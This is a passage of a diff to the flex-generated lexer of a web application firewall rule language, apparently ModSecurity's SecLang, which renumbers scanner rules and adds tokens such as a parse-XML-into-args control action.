>= 4155 ) yy_c = yy_meta[yy_c]; } yy_current_state = yy_nxt[yy_base[yy_current_state] + yy_c]; ++yy_cp; } - while ( yy_current_state != 3993 ); + while ( yy_current_state != 4154 ); yy_cp = (yy_last_accepting_cpos); yy_current_state = (yy_last_accepting_state); @@ -5598,13 +5924,13 @@ YY_DECL { if ( yy_act == 0 ) fprintf( stderr, "--scanner backing up\n" ); - else if ( yy_act < 546 ) + else if ( yy_act < 559 ) fprintf( stderr, "--accepting rule at line %ld (\"%s\")\n", (long)yy_rule_linenum[yy_act], yytext ); - else if ( yy_act == 546 ) + else if ( yy_act == 559 ) fprintf( stderr, "--accepting default rule (\"%s\")\n", yytext ); - else if ( yy_act == 547 ) + else if ( yy_act == 560 ) fprintf( stderr, "--(end of buffer or a NUL)\n" ); else fprintf( stderr, "--EOF (start condition %d)\n", YY_START ); @@ -5622,2889 +5948,2955 @@ YY_DECL case 1: YY_RULE_SETUP -#line 507 "seclang-scanner.ll" +#line 533 "seclang-scanner.ll" { return p::make_ACTION_APPEND(yytext, *driver.loc.back()); } YY_BREAK case 2: YY_RULE_SETUP -#line 508 "seclang-scanner.ll" +#line 534 "seclang-scanner.ll" { return p::make_ACTION_BLOCK(yytext, *driver.loc.back()); } YY_BREAK case 3: YY_RULE_SETUP -#line 509 "seclang-scanner.ll" +#line 535 "seclang-scanner.ll" { return p::make_ACTION_CAPTURE(yytext, *driver.loc.back()); } YY_BREAK case 4: YY_RULE_SETUP -#line 510 "seclang-scanner.ll" +#line 536 "seclang-scanner.ll" { return p::make_ACTION_CHAIN(yytext, *driver.loc.back()); } YY_BREAK case 5: YY_RULE_SETUP -#line 511 "seclang-scanner.ll" +#line 537 "seclang-scanner.ll" { return p::make_ACTION_DENY(yytext, *driver.loc.back()); } YY_BREAK case 6: YY_RULE_SETUP -#line 512 "seclang-scanner.ll" +#line 538 "seclang-scanner.ll" { return p::make_ACTION_DEPRECATE_VAR(yytext, *driver.loc.back()); } YY_BREAK case 7: YY_RULE_SETUP -#line 513 "seclang-scanner.ll" +#line 539 "seclang-scanner.ll" { return p::make_ACTION_DROP(yytext, *driver.loc.back()); } YY_BREAK case 8: YY_RULE_SETUP -#line 514 "seclang-scanner.ll" +#line 540 "seclang-scanner.ll" { return p::make_ACTION_ID(yytext, *driver.loc.back()); } YY_BREAK case 9: YY_RULE_SETUP -#line 515 "seclang-scanner.ll" +#line 541 "seclang-scanner.ll" { return p::make_ACTION_LOG(yytext, *driver.loc.back()); } YY_BREAK case 10: YY_RULE_SETUP -#line 516 "seclang-scanner.ll" +#line 542 "seclang-scanner.ll" { return p::make_ACTION_MULTI_MATCH(yytext, *driver.loc.back()); } YY_BREAK case 11: YY_RULE_SETUP -#line 517 "seclang-scanner.ll" +#line 543 "seclang-scanner.ll" { return p::make_ACTION_NO_AUDIT_LOG(yytext, *driver.loc.back()); } YY_BREAK case 12: YY_RULE_SETUP -#line 518 "seclang-scanner.ll" +#line 544 "seclang-scanner.ll" { return p::make_ACTION_NO_LOG(yytext, *driver.loc.back()); } YY_BREAK case 13: YY_RULE_SETUP -#line 519 "seclang-scanner.ll" +#line 545 "seclang-scanner.ll" { return p::make_ACTION_PASS(yytext, *driver.loc.back()); } YY_BREAK case 14: YY_RULE_SETUP -#line 520 "seclang-scanner.ll" +#line 546 "seclang-scanner.ll" { return p::make_ACTION_PAUSE(yytext, *driver.loc.back()); } YY_BREAK case 15: YY_RULE_SETUP -#line 521 "seclang-scanner.ll" +#line 547 "seclang-scanner.ll" { return p::make_ACTION_PREPEND(yytext, *driver.loc.back()); } YY_BREAK case 16: YY_RULE_SETUP -#line 522 "seclang-scanner.ll" +#line 548 "seclang-scanner.ll" { return p::make_ACTION_PROXY(yytext, *driver.loc.back()); } YY_BREAK case 17: YY_RULE_SETUP -#line 523 "seclang-scanner.ll" +#line 549 "seclang-scanner.ll" { return p::make_ACTION_SANITISE_ARG(yytext, *driver.loc.back()); } YY_BREAK case 18: YY_RULE_SETUP -#line 524 "seclang-scanner.ll" +#line 550 "seclang-scanner.ll" { return p::make_ACTION_SANITISE_MATCHED(yytext, *driver.loc.back()); } YY_BREAK case 19: YY_RULE_SETUP -#line 525 "seclang-scanner.ll" +#line 551 "seclang-scanner.ll" { return p::make_ACTION_SANITISE_MATCHED_BYTES(yytext, *driver.loc.back()); } YY_BREAK case 20: YY_RULE_SETUP -#line 526 "seclang-scanner.ll" +#line 552 "seclang-scanner.ll" { return p::make_ACTION_SANITISE_REQUEST_HEADER(yytext, *driver.loc.back()); } YY_BREAK case 21: YY_RULE_SETUP -#line 527 "seclang-scanner.ll" +#line 553 "seclang-scanner.ll" { return p::make_ACTION_SANITISE_RESPONSE_HEADER(yytext, *driver.loc.back()); } YY_BREAK case 22: YY_RULE_SETUP -#line 528 "seclang-scanner.ll" +#line 554 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_SETRSC(yytext, *driver.loc.back()); } YY_BREAK case 23: YY_RULE_SETUP -#line 530 "seclang-scanner.ll" +#line 556 "seclang-scanner.ll" { return p::make_ACTION_STATUS(yytext, *driver.loc.back()); } YY_BREAK case 24: /* rule 24 can match eol */ YY_RULE_SETUP -#line 531 "seclang-scanner.ll" +#line 557 "seclang-scanner.ll" { return p::make_ACTION_ACCURACY(yytext, *driver.loc.back()); } YY_BREAK case 25: /* rule 25 can match eol */ YY_RULE_SETUP -#line 532 "seclang-scanner.ll" +#line 558 "seclang-scanner.ll" { return p::make_ACTION_ACCURACY(yytext, *driver.loc.back()); } YY_BREAK case 26: YY_RULE_SETUP -#line 533 "seclang-scanner.ll" +#line 559 "seclang-scanner.ll" { return p::make_ACTION_ALLOW(yytext, *driver.loc.back()); } YY_BREAK case 27: YY_RULE_SETUP -#line 534 "seclang-scanner.ll" +#line 560 "seclang-scanner.ll" { return p::make_ACTION_AUDIT_LOG(yytext, *driver.loc.back()); } YY_BREAK case 28: YY_RULE_SETUP -#line 535 "seclang-scanner.ll" +#line 561 "seclang-scanner.ll" { return p::make_ACTION_CTL_AUDIT_ENGINE(yytext, *driver.loc.back()); } YY_BREAK case 29: YY_RULE_SETUP -#line 536 "seclang-scanner.ll" +#line 562 "seclang-scanner.ll" { return p::make_ACTION_CTL_AUDIT_LOG_PARTS(yytext, *driver.loc.back()); } YY_BREAK case 30: YY_RULE_SETUP -#line 537 "seclang-scanner.ll" +#line 563 "seclang-scanner.ll" { return p::make_ACTION_CTL_BDY_JSON(yytext, *driver.loc.back()); } YY_BREAK case 31: YY_RULE_SETUP -#line 538 "seclang-scanner.ll" +#line 564 "seclang-scanner.ll" { return p::make_ACTION_CTL_BDY_XML(yytext, *driver.loc.back()); } YY_BREAK case 32: YY_RULE_SETUP -#line 539 "seclang-scanner.ll" +#line 565 "seclang-scanner.ll" { return p::make_ACTION_CTL_BDY_URLENCODED(yytext, *driver.loc.back()); } YY_BREAK case 33: YY_RULE_SETUP -#line 540 "seclang-scanner.ll" +#line 566 "seclang-scanner.ll" { return p::make_ACTION_CTL_FORCE_REQ_BODY_VAR(yytext, *driver.loc.back()); } YY_BREAK case 34: YY_RULE_SETUP -#line 541 "seclang-scanner.ll" -{ return p::make_ACTION_CTL_REQUEST_BODY_ACCESS(yytext, *driver.loc.back()); } +#line 567 "seclang-scanner.ll" +{ return p::make_ACTION_CTL_PARSE_XML_INTO_ARGS(yytext, *driver.loc.back()); } YY_BREAK case 35: YY_RULE_SETUP -#line 542 "seclang-scanner.ll" -{ return p::make_ACTION_CTL_RULE_ENGINE(*driver.loc.back()); } +#line 568 "seclang-scanner.ll" +{ return p::make_ACTION_CTL_REQUEST_BODY_ACCESS(yytext, *driver.loc.back()); } YY_BREAK case 36: YY_RULE_SETUP -#line 543 "seclang-scanner.ll" -{ return p::make_ACTION_CTL_RULE_REMOVE_BY_ID(yytext, *driver.loc.back()); } +#line 569 "seclang-scanner.ll" +{ return p::make_ACTION_CTL_RULE_ENGINE(*driver.loc.back()); } YY_BREAK case 37: YY_RULE_SETUP -#line 544 "seclang-scanner.ll" -{ return p::make_ACTION_CTL_RULE_REMOVE_BY_TAG(yytext, *driver.loc.back()); } +#line 570 "seclang-scanner.ll" +{ return p::make_ACTION_CTL_RULE_REMOVE_BY_ID(yytext, *driver.loc.back()); } YY_BREAK case 38: YY_RULE_SETUP -#line 545 "seclang-scanner.ll" -{ return p::make_ACTION_CTL_RULE_REMOVE_TARGET_BY_ID(yytext, *driver.loc.back()); } +#line 571 "seclang-scanner.ll" +{ return p::make_ACTION_CTL_RULE_REMOVE_BY_TAG(yytext, *driver.loc.back()); } YY_BREAK case 39: YY_RULE_SETUP -#line 546 "seclang-scanner.ll" -{ return p::make_ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG(yytext, *driver.loc.back()); } +#line 572 "seclang-scanner.ll" +{ return p::make_ACTION_CTL_RULE_REMOVE_TARGET_BY_ID(yytext, *driver.loc.back()); } YY_BREAK case 40: -/* rule 40 can match eol */ YY_RULE_SETUP -#line 547 "seclang-scanner.ll" -{ return p::make_ACTION_EXEC(yytext, *driver.loc.back()); } +#line 573 "seclang-scanner.ll" +{ return p::make_ACTION_CTL_RULE_REMOVE_TARGET_BY_TAG(yytext, *driver.loc.back()); } YY_BREAK case 41: /* rule 41 can match eol */ YY_RULE_SETUP -#line 548 "seclang-scanner.ll" +#line 574 "seclang-scanner.ll" { return p::make_ACTION_EXEC(yytext, *driver.loc.back()); } YY_BREAK case 42: /* rule 42 can match eol */ YY_RULE_SETUP -#line 549 "seclang-scanner.ll" -{ return p::make_ACTION_EXPIRE_VAR(yytext, *driver.loc.back()); } +#line 575 "seclang-scanner.ll" +{ return p::make_ACTION_EXEC(yytext, *driver.loc.back()); } YY_BREAK case 43: -/* rule 43 can match eol */ YY_RULE_SETUP -#line 550 "seclang-scanner.ll" -{ return p::make_ACTION_EXPIRE_VAR(yytext, *driver.loc.back()); } +#line 576 "seclang-scanner.ll" +{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_EXPIRE_VAR(yytext, *driver.loc.back()); } YY_BREAK case 44: -/* rule 44 can match eol */ YY_RULE_SETUP -#line 551 "seclang-scanner.ll" -{ return p::make_ACTION_EXPIRE_VAR(yytext, *driver.loc.back()); } +#line 577 "seclang-scanner.ll" +{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_INITCOL(yytext, *driver.loc.back()); } YY_BREAK case 45: /* rule 45 can match eol */ YY_RULE_SETUP -#line 552 "seclang-scanner.ll" -{ return p::make_ACTION_EXPIRE_VAR(yytext, *driver.loc.back()); } +#line 578 "seclang-scanner.ll" +{ return p::make_ACTION_MATURITY(yytext, *driver.loc.back()); } YY_BREAK case 46: +/* rule 46 can match eol */ YY_RULE_SETUP -#line 553 "seclang-scanner.ll" -{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_INITCOL(yytext, *driver.loc.back()); } +#line 579 "seclang-scanner.ll" +{ return p::make_ACTION_MATURITY(yytext, *driver.loc.back()); } YY_BREAK case 47: -/* rule 47 can match eol */ YY_RULE_SETUP -#line 554 "seclang-scanner.ll" -{ return p::make_ACTION_MATURITY(yytext, *driver.loc.back()); } +#line 580 "seclang-scanner.ll" +{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_MSG(yytext, *driver.loc.back()); } YY_BREAK case 48: -/* rule 48 can match eol */ YY_RULE_SETUP -#line 555 "seclang-scanner.ll" -{ return p::make_ACTION_MATURITY(yytext, *driver.loc.back()); } +#line 581 "seclang-scanner.ll" +{ return p::make_ACTION_PHASE(yytext, *driver.loc.back()); } YY_BREAK case 49: YY_RULE_SETUP -#line 556 "seclang-scanner.ll" -{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_MSG(yytext, *driver.loc.back()); } +#line 582 "seclang-scanner.ll" +{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_REDIRECT(yytext, *driver.loc.back()); } YY_BREAK case 50: +/* rule 50 can match eol */ YY_RULE_SETUP -#line 557 "seclang-scanner.ll" -{ return p::make_ACTION_PHASE(yytext, *driver.loc.back()); } +#line 583 "seclang-scanner.ll" +{ return p::make_ACTION_REV(yytext, *driver.loc.back()); } YY_BREAK case 51: +/* rule 51 can match eol */ YY_RULE_SETUP -#line 558 "seclang-scanner.ll" -{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_REDIRECT(yytext, *driver.loc.back()); } +#line 584 "seclang-scanner.ll" +{ return p::make_ACTION_REV(yytext, *driver.loc.back()); } YY_BREAK case 52: -/* rule 52 can match eol */ YY_RULE_SETUP -#line 559 "seclang-scanner.ll" -{ return p::make_ACTION_REV(yytext, *driver.loc.back()); } +#line 585 "seclang-scanner.ll" +{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_SETENV(yytext, *driver.loc.back()); } YY_BREAK case 53: -/* rule 53 can match eol */ YY_RULE_SETUP -#line 560 "seclang-scanner.ll" -{ return p::make_ACTION_REV(yytext, *driver.loc.back()); } +#line 586 "seclang-scanner.ll" +{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_SETSID(yytext, *driver.loc.back()); } YY_BREAK case 54: YY_RULE_SETUP -#line 561 "seclang-scanner.ll" -{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_SETENV(yytext, *driver.loc.back()); } +#line 587 "seclang-scanner.ll" +{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_SETUID(yytext, *driver.loc.back()); } YY_BREAK case 55: YY_RULE_SETUP -#line 562 "seclang-scanner.ll" -{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_SETSID(yytext, *driver.loc.back()); } +#line 589 "seclang-scanner.ll" +{ BEGIN(SETVAR_ACTION_QUOTED); return p::make_ACTION_SETVAR(*driver.loc.back()); } YY_BREAK case 56: YY_RULE_SETUP -#line 563 "seclang-scanner.ll" -{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_SETUID(yytext, *driver.loc.back()); } +#line 590 "seclang-scanner.ll" +{ BEGIN(SETVAR_ACTION_NONQUOTED); return p::make_ACTION_SETVAR(*driver.loc.back()); } YY_BREAK case 57: YY_RULE_SETUP -#line 565 "seclang-scanner.ll" -{ BEGIN(SETVAR_ACTION_QUOTED); return p::make_ACTION_SETVAR(*driver.loc.back()); } +#line 593 "seclang-scanner.ll" +{ return p::make_ACTION_SEVERITY(yytext, *driver.loc.back()); } YY_BREAK case 58: YY_RULE_SETUP -#line 566 "seclang-scanner.ll" -{ BEGIN(SETVAR_ACTION_NONQUOTED); return p::make_ACTION_SETVAR(*driver.loc.back()); } +#line 594 "seclang-scanner.ll" +{ return p::make_ACTION_SEVERITY(yytext, *driver.loc.back()); } YY_BREAK case 59: YY_RULE_SETUP -#line 569 "seclang-scanner.ll" -{ return p::make_ACTION_SEVERITY(yytext, *driver.loc.back()); } +#line 595 "seclang-scanner.ll" +{ return p::make_ACTION_SKIP_AFTER(yytext, *driver.loc.back()); } YY_BREAK case 60: YY_RULE_SETUP -#line 570 "seclang-scanner.ll" -{ return p::make_ACTION_SEVERITY(yytext, *driver.loc.back()); } +#line 596 "seclang-scanner.ll" +{ return p::make_ACTION_SKIP(yytext, *driver.loc.back()); } YY_BREAK case 61: YY_RULE_SETUP -#line 571 "seclang-scanner.ll" -{ return p::make_ACTION_SKIP_AFTER(yytext, *driver.loc.back()); } +#line 597 "seclang-scanner.ll" +{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_TAG(yytext, *driver.loc.back()); } YY_BREAK case 62: +/* rule 62 can match eol */ YY_RULE_SETUP -#line 572 "seclang-scanner.ll" -{ return p::make_ACTION_SKIP(yytext, *driver.loc.back()); } +#line 598 "seclang-scanner.ll" +{ return p::make_ACTION_VER(yytext, *driver.loc.back()); } YY_BREAK case 63: YY_RULE_SETUP -#line 573 "seclang-scanner.ll" -{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_TAG(yytext, *driver.loc.back()); } +#line 599 "seclang-scanner.ll" +{ return p::make_ACTION_XMLNS(yytext, *driver.loc.back()); } YY_BREAK case 64: -/* rule 64 can match eol */ YY_RULE_SETUP -#line 574 "seclang-scanner.ll" -{ return p::make_ACTION_VER(yytext, *driver.loc.back()); } +#line 601 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_PARITY_ZERO_7_BIT(yytext, *driver.loc.back()); } YY_BREAK case 65: YY_RULE_SETUP -#line 575 "seclang-scanner.ll" -{ return p::make_ACTION_XMLNS(yytext, *driver.loc.back()); } +#line 602 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_PARITY_ODD_7_BIT(yytext, *driver.loc.back()); } YY_BREAK case 66: YY_RULE_SETUP -#line 577 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_PARITY_ZERO_7_BIT(yytext, *driver.loc.back()); } +#line 603 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_PARITY_EVEN_7_BIT(yytext, *driver.loc.back()); } YY_BREAK case 67: YY_RULE_SETUP -#line 578 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_PARITY_ODD_7_BIT(yytext, *driver.loc.back()); } +#line 604 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_SQL_HEX_DECODE(yytext, *driver.loc.back()); } YY_BREAK case 68: YY_RULE_SETUP -#line 579 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_PARITY_EVEN_7_BIT(yytext, *driver.loc.back()); } +#line 605 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_BASE_64_ENCODE(yytext, *driver.loc.back()); } YY_BREAK case 69: YY_RULE_SETUP -#line 580 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_SQL_HEX_DECODE(yytext, *driver.loc.back()); } +#line 606 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_BASE_64_DECODE(yytext, *driver.loc.back()); } YY_BREAK case 70: YY_RULE_SETUP -#line 581 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_BASE_64_ENCODE(yytext, *driver.loc.back()); } +#line 607 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_BASE_64_DECODE_EXT(yytext, *driver.loc.back()); } YY_BREAK case 71: YY_RULE_SETUP -#line 582 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_BASE_64_DECODE(yytext, *driver.loc.back()); } +#line 608 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_CMD_LINE(yytext, *driver.loc.back()); } YY_BREAK case 72: YY_RULE_SETUP -#line 583 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_BASE_64_DECODE_EXT(yytext, *driver.loc.back()); } +#line 609 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_SHA1(yytext, *driver.loc.back()); } YY_BREAK case 73: YY_RULE_SETUP -#line 584 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_CMD_LINE(yytext, *driver.loc.back()); } +#line 610 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_MD5(yytext, *driver.loc.back()); } YY_BREAK case 74: YY_RULE_SETUP -#line 585 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_SHA1(yytext, *driver.loc.back()); } +#line 611 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_ESCAPE_SEQ_DECODE(yytext, *driver.loc.back()); } YY_BREAK case 75: YY_RULE_SETUP -#line 586 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_MD5(yytext, *driver.loc.back()); } +#line 612 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_HEX_ENCODE(yytext, *driver.loc.back()); } YY_BREAK case 76: YY_RULE_SETUP -#line 587 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_ESCAPE_SEQ_DECODE(yytext, *driver.loc.back()); } +#line 613 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_HEX_DECODE(yytext, *driver.loc.back()); } YY_BREAK case 77: YY_RULE_SETUP -#line 588 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_HEX_ENCODE(yytext, *driver.loc.back()); } +#line 614 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_LOWERCASE(yytext, *driver.loc.back()); } YY_BREAK case 78: YY_RULE_SETUP -#line 589 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_HEX_DECODE(yytext, *driver.loc.back()); } +#line 615 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_UPPERCASE(yytext, *driver.loc.back()); } YY_BREAK case 79: YY_RULE_SETUP -#line 590 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_LOWERCASE(yytext, *driver.loc.back()); } +#line 616 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_URL_ENCODE(yytext, *driver.loc.back()); } YY_BREAK case 80: YY_RULE_SETUP -#line 591 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_UPPERCASE(yytext, *driver.loc.back()); } +#line 617 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_URL_DECODE_UNI(yytext, *driver.loc.back()); } YY_BREAK case 81: YY_RULE_SETUP -#line 592 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_URL_ENCODE(yytext, *driver.loc.back()); } +#line 618 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_URL_DECODE(yytext, *driver.loc.back()); } YY_BREAK case 82: YY_RULE_SETUP -#line 593 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_URL_DECODE_UNI(yytext, *driver.loc.back()); } +#line 619 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_NONE(yytext, *driver.loc.back()); } YY_BREAK case 83: YY_RULE_SETUP -#line 594 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_URL_DECODE(yytext, *driver.loc.back()); } +#line 620 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_COMPRESS_WHITESPACE(yytext, *driver.loc.back()); } YY_BREAK case 84: YY_RULE_SETUP -#line 595 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_NONE(yytext, *driver.loc.back()); } +#line 621 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_REMOVE_WHITESPACE(yytext, *driver.loc.back()); } YY_BREAK case 85: YY_RULE_SETUP -#line 596 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_COMPRESS_WHITESPACE(yytext, *driver.loc.back()); } +#line 622 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_REPLACE_NULLS(yytext, *driver.loc.back()); } YY_BREAK case 86: YY_RULE_SETUP -#line 597 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_REMOVE_WHITESPACE(yytext, *driver.loc.back()); } +#line 623 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_REMOVE_NULLS(yytext, *driver.loc.back()); } YY_BREAK case 87: YY_RULE_SETUP -#line 598 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_REPLACE_NULLS(yytext, *driver.loc.back()); } +#line 624 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_HTML_ENTITY_DECODE(yytext, *driver.loc.back()); } YY_BREAK case 88: YY_RULE_SETUP -#line 599 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_REMOVE_NULLS(yytext, *driver.loc.back()); } +#line 625 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_JS_DECODE(yytext, *driver.loc.back()); } YY_BREAK case 89: YY_RULE_SETUP -#line 600 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_HTML_ENTITY_DECODE(yytext, *driver.loc.back()); } +#line 626 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_CSS_DECODE(yytext, *driver.loc.back()); } YY_BREAK case 90: YY_RULE_SETUP -#line 601 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_JS_DECODE(yytext, *driver.loc.back()); } +#line 627 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_TRIM(yytext, *driver.loc.back()); } YY_BREAK case 91: YY_RULE_SETUP -#line 602 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_CSS_DECODE(yytext, *driver.loc.back()); } +#line 628 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_TRIM_LEFT(yytext, *driver.loc.back()); } YY_BREAK case 92: YY_RULE_SETUP -#line 603 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_TRIM(yytext, *driver.loc.back()); } +#line 629 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_TRIM_RIGHT(yytext, *driver.loc.back()); } YY_BREAK case 93: YY_RULE_SETUP -#line 604 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_TRIM_LEFT(yytext, *driver.loc.back()); } +#line 630 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_NORMALISE_PATH_WIN(yytext, *driver.loc.back()); } YY_BREAK case 94: YY_RULE_SETUP -#line 605 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_TRIM_RIGHT(yytext, *driver.loc.back()); } +#line 631 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_NORMALISE_PATH(yytext, *driver.loc.back()); } YY_BREAK case 95: YY_RULE_SETUP -#line 606 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_NORMALISE_PATH_WIN(yytext, *driver.loc.back()); } +#line 632 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_LENGTH(yytext, *driver.loc.back()); } YY_BREAK case 96: YY_RULE_SETUP -#line 607 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_NORMALISE_PATH(yytext, *driver.loc.back()); } +#line 633 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_UTF8_TO_UNICODE(yytext, *driver.loc.back()); } YY_BREAK case 97: YY_RULE_SETUP -#line 608 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_LENGTH(yytext, *driver.loc.back()); } +#line 634 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_REMOVE_COMMENTS_CHAR(yytext, *driver.loc.back()); } YY_BREAK case 98: YY_RULE_SETUP -#line 609 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_UTF8_TO_UNICODE(yytext, *driver.loc.back()); } +#line 635 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_REMOVE_COMMENTS(yytext, *driver.loc.back()); } YY_BREAK case 99: YY_RULE_SETUP -#line 610 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_REMOVE_COMMENTS_CHAR(yytext, *driver.loc.back()); } +#line 636 "seclang-scanner.ll" +{ return p::make_ACTION_TRANSFORMATION_REPLACE_COMMENTS(yytext, *driver.loc.back()); } YY_BREAK case 100: YY_RULE_SETUP -#line 611 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_REMOVE_COMMENTS(yytext, *driver.loc.back()); } +#line 637 "seclang-scanner.ll" +{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_LOG_DATA(yytext, *driver.loc.back()); } YY_BREAK case 101: YY_RULE_SETUP -#line 612 "seclang-scanner.ll" -{ return p::make_ACTION_TRANSFORMATION_REPLACE_COMMENTS(yytext, *driver.loc.back()); } +#line 639 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_DETC(yytext, *driver.loc.back()); } YY_BREAK case 102: YY_RULE_SETUP -#line 613 "seclang-scanner.ll" -{ BEGIN(EXPECTING_ACTION_PREDICATE); return p::make_ACTION_LOG_DATA(yytext, *driver.loc.back()); } +#line 640 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_ONLYARGS(yytext, *driver.loc.back()); } YY_BREAK case 103: YY_RULE_SETUP -#line 615 "seclang-scanner.ll" -{ return p::make_CONFIG_VALUE_DETC(yytext, *driver.loc.back()); } - YY_BREAK -case 104: -YY_RULE_SETUP -#line 616 "seclang-scanner.ll" +#line 641 "seclang-scanner.ll" { return p::make_CONFIG_VALUE_OFF(yytext, *driver.loc.back()); } YY_BREAK -case 105: +case 104: YY_RULE_SETUP -#line 617 "seclang-scanner.ll" +#line 642 "seclang-scanner.ll" { return p::make_CONFIG_VALUE_ON(yytext, *driver.loc.back()); } YY_BREAK -case 106: +case 105: YY_RULE_SETUP -#line 618 "seclang-scanner.ll" +#line 643 "seclang-scanner.ll" { return p::make_CONFIG_VALUE_RELEVANT_ONLY(yytext, *driver.loc.back()); } YY_BREAK -case 107: -/* rule 107 can match eol */ +case 106: +/* rule 106 can match eol */ YY_RULE_SETUP -#line 619 "seclang-scanner.ll" +#line 644 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); } YY_BREAK -case 108: -/* rule 108 can match eol */ +case 107: +/* rule 107 can match eol */ YY_RULE_SETUP -#line 620 "seclang-scanner.ll" +#line 645 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); } YY_BREAK -case 109: +case 108: YY_RULE_SETUP -#line 624 "seclang-scanner.ll" +#line 649 "seclang-scanner.ll" { return p::make_COMMA(*driver.loc.back()); } YY_BREAK -case 110: -/* rule 110 can match eol */ +case 109: +/* rule 109 can match eol 